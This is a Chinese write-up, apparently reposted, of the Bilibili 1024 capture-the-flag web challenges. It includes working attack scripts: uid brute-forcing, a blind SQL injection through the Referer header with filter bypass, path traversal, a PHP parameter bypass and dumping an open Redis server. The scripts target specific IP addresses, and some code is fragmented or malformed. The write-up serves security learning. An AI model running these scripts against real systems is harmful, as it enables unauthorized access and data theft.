后五题Write Up主要来自:榜一写的writeup
第一题
“页面的背后是什么” 指网页源代码
Ctrl+U 查看网页源代码 看到向一个地方发送了get请求
发送一个请求,或者直接找找flag1相关的东西就能找到
第二题
"真正的秘密只有特殊的设备才能看到"指需要使用bilibili Security Browser浏览器访问
使用抓包工具抓包
把浏览器(UA)伪造成"bilibili Security Browser"
需要注意的是如果是Postman需要添加Cookie
第三题
“密码是啥”
密码是啥可以 自己试,此外,用网上给的弱口令词典是没有前途的~
第四题
"对不起,权限不足~"指你的身份不对
可以发现response里cookie set了个role=xxxxxxx, xxxxxxx是user
对应的md5值,这里的脑洞在于你要把它改成Administrator
对应的md5值。
MD5
伪装成 超级管理员
猜测角色名字,首字母大写
第五题
Ctrl+U 查看网页源代码,看看它想要干什么
注意里面有个神奇的uid
暴力遍历要从合适的位置开始
Java版本
-
for(
int i=
100336889;i<
100999999;i++){
-
Request.Builder builder1 =
new Request.Builder();
-
Request build1 = builder1.url(
"http://45.113.201.36/api/ctf/5?uid=" + i)
-
.header(
"Charset",
"UTF-8")
-
.header(
"Connection",
"Keep-Alive")
-
.header(
"Content-Type",
"application/x-www-form-urlencoded")
-
.header(
"Cookie",
"session=xx; role=ee11cbb19052e40b07aac0ca060c23ee")
-
.get()
-
.build();
-
try{
-
JSONObject j=JSONObject.parseObject(
new HttpClient().newCall(build1).execute().body().string());
-
//System.out.println(j);
-
if(j.getString(
"code").equals(
"200")){
-
System.out.println(j.getString(
"data"));
-
}
else{
-
if(i%
100==
0){
-
System.out.println(i);
-
}
-
}
-
}
catch (Exception e){
-
e.printStackTrace();
-
}
-
-
}
Python版本
-
for uid
in range(
100336889,
99999999999):
-
-
params = (
-
(
'uid', uid),
-
)
-
-
response = requests.get(
'http://45.113.201.36/api/ctf/5', headers=headers, params=params, cookies=cookies, verify=
False).json()
-
if response[
'code'] !=
'403':
-
print(response)
-
print(uid)
第六题
“结束亦是开始”
硬猜得到 /blog/end.php。
扫描
test.php
test.php的内容是jsfuck
执行
unicode 解码后是“程序员最多的地方”=>GitHub
搜索
https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php
-
<?php
-
//filename end.php
-
$bilibili =
"bilibili1024havefun";
-
$str = intval($_GET[
'id']);
-
$reg = preg_match(
'/\d/is', $_GET[
'id']);
-
if(!is_numeric($_GET[
'id'])
and $reg !==
1
and $str ===
1){
-
$content = file_get_contents($_GET[
'url']);
-
//文件路径猜解
-
if (
false){
-
echo
"还差一点点啦~";
-
}
else{
-
echo $flag;
-
}
-
}
else{
-
echo
"你想要的不在这儿~";
-
}
-
?>
构造参数URL
结合前面题目的url猜测
http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
这里跳转第十题
这里跳转第七题
这里跳转第九题
简单的SQL注入类型题目,但本题的注入点不在id,而是HTTP请求报文头部的Referer
字段,并且题目过滤了一些常用来注入的字符串和符号,所以导致sqlmap无法探测到,可以进行手工注入或写脚本注入, 需要把一些字符串双写来绕过过滤。
-
import requests
-
import time
-
import sys
-
-
URL =
"http://120.92.151.189/blog/single.php?id=1"
-
payload =
"http://120.92.151.189/' oorr IF(ascii(substr((%s),%s,1))=%s,1,0)#"
-
-
query =
"selselectect hex(flag) from flag limit 1"
-
rtn =
""
-
for m
in range(
1,
40):
-
for n
in
'!0123456789ABCDEF?':
-
n = ord(n)
-
rps = requests.get(URL, headers={
"Referer": payload % (query, m, n)})
-
if rps.status_code ==
503:
-
while rps.status_code ==
503:
-
rps = requests.get(URL, headers={
"Referer": payload % (query, m, n)})
-
-
if
'admin'
in rps.text:
-
if n == ord(
'!'):
-
exit(
0)
-
rtn += chr(n)
-
-
try:
-
print(rtn.decode(
'hex'))
-
except Exception:
-
pass
-
break
-
-
if n == ord(
'?'):
-
exit(
0)
SQL注入是安全领域很常见的攻击方式,主要是因为服务端开发者错误拼接了sql语句,导致可以插入并执行恶意的sql语句来获取数据库里的敏感信息
第七题
第六题中
考察了任意文件读取,首先在前几题的HTML源码可以看到明显的/api/images?file=banner.png
并且有些有注释掉的banner.png
,经过测试发现确实在web目录里有这个png,那么就会想到通过目录跳转来读取其他文件,于是
任意文件读取也是安全领域的一种问题,解这种题需要经验和反复尝试,当然这题是硬编码判断的
../../../flag7.txt
,会让一些本来会做的人不会做了,一般的求解方式都是先判断?file=./banner.png
是否还是正常返回,但这题返回404,很多人就认为根本没法任意文件读取了
第八题
第六题中
端口扫描
服务器开启了6379
端口,Redis的
默认端口
-
[root@iz2ze77]
# redis-cli -h 120.92.151.189 -p 6379
-
120.92.151.189:6379> keys *
-
1)
"flag4"
-
2)
"flag6"
-
3)
"flag7"
-
4)
"flag9"
-
5)
"flag8"
-
6)
"flag1"
-
7)
"flag2"
-
8)
"flag3"
-
9)
"flag5"
-
10)
"flag10"
-
120.92.151.189:6379> get flag1
-
"3b96173a-b3df4cdd-22d4c15f-261e7309"
-
120.92.151.189:6379> get flag2
-
"bd871042-1e09a130-3ddd4faa-cebdb048"
-
120.92.151.189:6379> get flag3
-
"c7f7a7c2-28b7f895-5432152b-6410e042"
-
120.92.151.189:6379> get flag4
-
"d338e3c8-93215105-258d79ba-b364e59c"
-
120.92.151.189:6379> get flag5
-
"612d1886-044898af-6c1e9dba-b58ad075"
-
120.92.151.189:6379> get flag6
-
"8aa6f15d-65e37c9b-78c2bc37-00ed5aee"
-
120.92.151.189:6379> get flag7
-
"b78ce2aa-10d03327-f2035f4e-55c17689"
-
120.92.151.189:6379> get flag8
-
"d436b982-2b81aa54-49a8d2db-87ab951a"
-
120.92.151.189:6379> get flag9
-
"b3238659-b81512e6-3a307c74-9877ecc5"
-
120.92.151.189:6379> get flag10
-
"e5653416-595b3d0c-4c2a57ee-c026350e"
因为扫描的原因,服务器很卡,容易掉线。
[root@iz2zeihez ~] # redis-cli -h 120.92.151.189 -p 6379 Could not connect to Redis at 120.92.151.189:6379: Connection refused not connected> exit [root@iz2zeihez ~] #
第九题
第六题中
网传解法:
AES解密
-
from Crypto.Cipher
import AES
-
aes = AES.new(
'aes_key'+
'\x00'*
9, AES.MODE_ECB)
-
print base64.b64encode(base64.b64encode(
'00000000-00000000-00000000-00000000'))s=
'SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw=='.decode(
'base64')
-
print aes.decrypt(s.decode(
'base64'))
flag9: 8b522546-e52d83b8-5682e05c-c8cb237c
第十题
第六题中
http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
下载
二进制编辑器打开
参考文章
转载:https://blog.csdn.net/weixin_43272781/article/details/109262638